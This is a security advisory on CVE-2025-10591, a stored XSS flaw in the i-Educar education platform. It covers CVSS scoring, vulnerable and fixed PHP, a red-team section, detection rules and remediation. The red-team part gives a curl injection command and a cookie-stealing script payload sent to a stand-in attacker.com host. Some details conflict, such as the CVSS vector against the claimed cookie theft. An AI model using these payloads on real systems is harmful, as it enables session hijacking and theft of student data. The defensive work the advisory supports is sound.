CVE-2025-10591

Executive Summary

CVE-2025-10591 identifies a stored cross-site scripting (XSS) vulnerability in Portabilis i-Educar, a widely used educational management platform in Brazil. The flaw resides in the /intranet/educar_funcao_cad.php file, specifically within the "Editar Função" (Edit Function) page. An attacker can inject malicious scripts via the abreviatura or tipoacao parameters, which are not properly sanitized. This allows for persistent XSS, potentially compromising administrative sessions and student data. The vulnerability affects versions up to 2.10, and no official patch has been released. Given the public availability of exploit details and the sensitive nature of educational data, this poses a significant risk to institutions using the platform.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the PHP-based i-Educar platform. The risk is primarily to the application's users and administrators, not to downstream package consumers.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No direct data exposure.
• Integrity (I): Low – The attacker can modify content within the victim's session.
• Availability (A): None – No impact on system availability.

Threat Level: Low (CVSS 3.5). However, the public exploit and lack of patch elevate the real-world risk, especially in environments with high user interaction.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the educar_funcao_cad.php script. The abreviatura and tipoacao parameters are used to define function abbreviations and action types. The application fails to sanitize or encode these inputs before storing them in the database and later rendering them in the browser.

Attack Flow:

1. An attacker sends a POST request to /intranet/educar_funcao_cad.php with malicious JavaScript in the abreviatura or tipoacao parameter.
2. The server stores the payload in the database without sanitization.
3. When an administrator or user views the "Editar Função" page, the payload is executed in their browser.
4. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of input validation and output encoding. The application likely uses $_POST directly without functions like htmlspecialchars() or strip_tags().

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a suggested fix.

Vulnerable Code (PHP):

<?php
$abreviatura = $_POST['abreviatura'];
$tipoacao = $_POST['tipoacao'];
// Directly stored and rendered
$sql = "INSERT INTO funcoes (abreviatura, tipoacao) VALUES ('$abreviatura', '$tipoacao')";
// Later in the page:
echo "<input name='abreviatura' value='$abreviatura'>";
?>

Patched Code (Suggested Fix):

<?php
$abreviatura = htmlspecialchars($_POST['abreviatura'], ENT_QUOTES, 'UTF-8');
$tipoacao = htmlspecialchars($_POST['tipoacao'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $pdo->prepare("INSERT INTO funcoes (abreviatura, tipoacao) VALUES (?, ?)");
$stmt->execute([$abreviatura, $tipoacao]);
// Output is already encoded
echo "<input name='abreviatura' value='$abreviatura'>";
?>

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running i-Educar <= 2.10.
• Access to the /intranet/educar_funcao_cad.php endpoint (may require authentication, but the vulnerability is exploitable without authentication if the page is publicly accessible).

Exploit Payload:

<script>alert('XSS')</script>

Or a more advanced payload to steal cookies:

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Step-by-Step:

1. Send a POST request to the vulnerable endpoint:

curl -X POST http://target/intranet/educar_funcao_cad.php \
  -d "abreviatura=<script>alert('XSS')</script>&tipoacao=test"

2. The payload is stored. When an admin visits the "Editar Função" page, the script executes.

Note: No Exploit-DB code was provided, but the above is a standard XSS exploitation.

Blue Team (Defender)

Detection:

• Monitor HTTP POST requests to /intranet/educar_funcao_cad.php containing <script> tags or unusual characters.
• Use WAF rules to block common XSS patterns.
• Review server logs for suspicious parameters.

Hunting:

• Search database for stored XSS payloads in the funcoes table.
• Check for unexpected JavaScript execution in browser console logs.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /intranet/educar_funcao_cad.php with parameters containing <script>, onerror, onload, or JavaScript event handlers.
  • Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
• Host:
  • Presence of malicious JavaScript in the abreviatura or tipoacao fields in the database.
  • Unexpected HTTP requests from the server to external IPs.
• File:
  • Modified educar_funcao_cad.php file (if attacker gains write access).
• Logs:
  • Web server logs showing alert, document.cookie, or fetch in request parameters.

Detection Engineering

YARA Rule

rule CVE_2025_10591_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-10591 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10591"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt on i-Educar Editar Função Page
id: 8a7b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects potential XSS attacks targeting CVE-2025-10591
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/intranet/educar_funcao_cad.php'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in admin functions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10591 XSS Attempt on i-Educar"; flow:to_server,established; content:"POST"; http_method; content:"/intranet/educar_funcao_cad.php"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not essential: Block access to /intranet/educar_funcao_cad.php via web server configuration (e.g., .htaccess).
2. Apply input validation: Sanitize all user inputs using htmlspecialchars() or a similar function.
3. Use a Web Application Firewall (WAF): Deploy rules to block XSS patterns.
4. Monitor logs: Actively search for exploitation attempts.

Long-Term Fix:

• Upgrade to a patched version once released by Portabilis.
• Conduct a full security audit of the application.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If patching is not possible, restrict access to the admin interface via VPN or IP whitelisting.

Valters IT
Securing Digital Frontiers